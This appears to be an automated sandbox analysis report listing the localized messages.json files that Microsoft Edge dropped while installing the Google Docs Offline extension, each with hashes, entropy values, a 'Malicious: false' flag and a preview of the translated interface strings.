Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
